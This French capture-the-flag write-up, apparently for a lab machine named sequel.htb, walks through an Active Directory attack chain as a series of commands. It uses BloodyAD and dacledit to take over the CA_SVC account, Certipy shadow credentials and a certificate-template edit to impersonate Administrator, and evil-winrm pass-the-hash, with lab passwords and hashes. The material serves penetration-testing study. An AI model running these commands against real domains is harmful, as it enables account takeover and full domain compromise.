# WriteOwner (whoami /priv) - Windows Privilege Escalation

**Observation :**\
L'utilisateur **Ryan** possède l'autorisation `WriteOwner` sur le compte **CA\_SVC**, qui est également l'émetteur du certificat. Cela signifie que nous pouvons modifier le propriétaire du compte **CA\_SVC** pour y associer **Ryan**.

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FVy2odkwUKhZVCbzer8Is%2Fimage.png?alt=media&#x26;token=de18f889-e9c7-4c95-b09f-4a1a4b30bf70" alt=""><figcaption></figcaption></figure>

### Prise de contrôle de CA\_SVC avec BloodyAD

#### Changement du propriétaire du compte

{% code overflow="wrap" %}

```bash
bloodyAD --host '10.10.11.51' -d 'sequel.htb' -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan'
```

{% endcode %}

La commande utilise BloodyAD pour modifier le propriétaire de **CA\_SVC** et le définir sur **Ryan**. En tant que propriétaire, **Ryan** peut maintenant modifier les autorisations associées au compte.

### Modification des permissions avec Dacledit

#### Accorder des permissions complètes à Ryan

{% code overflow="wrap" %}

```bash
dacledit.py -action write -rights FullControl -principal ryan -target ca_svc sequel.htb/ryan:WqSZAF6CysDQbGb3
```

{% endcode %}

Cette commande modifie la **DACL** (Discretionary Access Control List) du compte **CA\_SVC** pour accorder un contrôle total à **Ryan**. Cela permet à Ryan de réinitialiser le mot de passe ou de manipuler les clés d'authentification.

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2Fr4FiQeqwKZqd8byRZiTh%2Fimage.png?alt=media&#x26;token=51b5db5d-58c8-4a6f-a7c6-780e4df83208" alt=""><figcaption></figcaption></figure>

### Extraction des informations d'identification fantômes (Shadow Credentials)

#### Générer et récupérer l'empreinte NT hash

{% code overflow="wrap" %}

```bash
certipy shadow auto -u 'ryan@sequel.htb' -p "WqSZAF6CysDQbGb3" -account 'ca_svc' -dc-ip '10.10.11.51' -target dc01.sequel.htb -ns 10.10.11.51
```

{% endcode %}

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FNoOLL2XqCHXkLRApirga%2Fimage.png?alt=media&#x26;token=bbac7098-a973-4b2e-9068-43d8a925aa7c" alt=""><figcaption></figcaption></figure>

NT hash pour **CA\_SVC** : `3b181b914e7a9d5508ea1e20bc2b7fce`

La commande **Certipy** génère une clé d'identification pour **CA\_SVC**, activant l'authentification basée sur un certificat. Un fichier `.ccache` est également généré, ce qui facilite des attaques basées sur Kerberos.

### Modification du modèle de certificat

#### Ajuster le modèle DunderMifflinAuthentication

{% code overflow="wrap" %}

```bash
KRB5CCNAME=$PWD/ca_svc.ccache certipy template  -k -template DunderMifflinAuthentication  -target dc01.sequel.htb -dc-ip 10.10.11.51
```

{% endcode %}

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FuJ2gKSNyV2PUrtKpTCzn%2Fimage.png?alt=media&#x26;token=597e650c-772c-40bb-ad76-3a37deeded9d" alt=""><figcaption></figcaption></figure>

Cette commande modifie le modèle de certificat **DunderMifflinAuthentication** pour qu’il permette l’émission de certificats avec des privilèges élevés.

### Émission d’un certificat pour l’administrateur

#### Demande d’un certificat pour impersonation

{% code overflow="wrap" %}

```bash
certipy req -u ca_svc -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -target dc01.sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn Administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51
```

{% endcode %}

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FiRPR3tJaiCKR8LsZfKO9%2Fimage.png?alt=media&#x26;token=cdfc882b-97f9-46c6-a66c-731e024e9211" alt=""><figcaption></figcaption></figure>

Cette commande demande un certificat au nom de l’Administrateur (`Administrator@sequel.htb`), permettant d’usurper l’identité de ce compte.

### Authentification en tant qu’Administrateur

#### Utilisation du certificat pour s’authentifier

```bash
certipy auth -pfx administrator_10.pfx -dc-ip 10.10.11.51
```

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FYkho52uSoBw8uQjAzJlF%2Fimage.png?alt=media&#x26;token=fa560251-a6b2-4bbc-bcde-d4d47d40925c" alt=""><figcaption></figcaption></figure>

**NTLMv2 Hash :** `7a8d4e04986afa8ed4060f75e5a0b3ff`

```bash
 evil-winrm -i 10.10.11.51 -u administrator -H "7a8d4e04986afa8ed4060f75e5a0b3ff"
```

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2Fgmcb1MWqM6MmYynqWAqH%2Fimage.png?alt=media&#x26;token=8f6882db-77de-4c79-9d97-8827c37311cd" alt=""><figcaption></figcaption></figure>
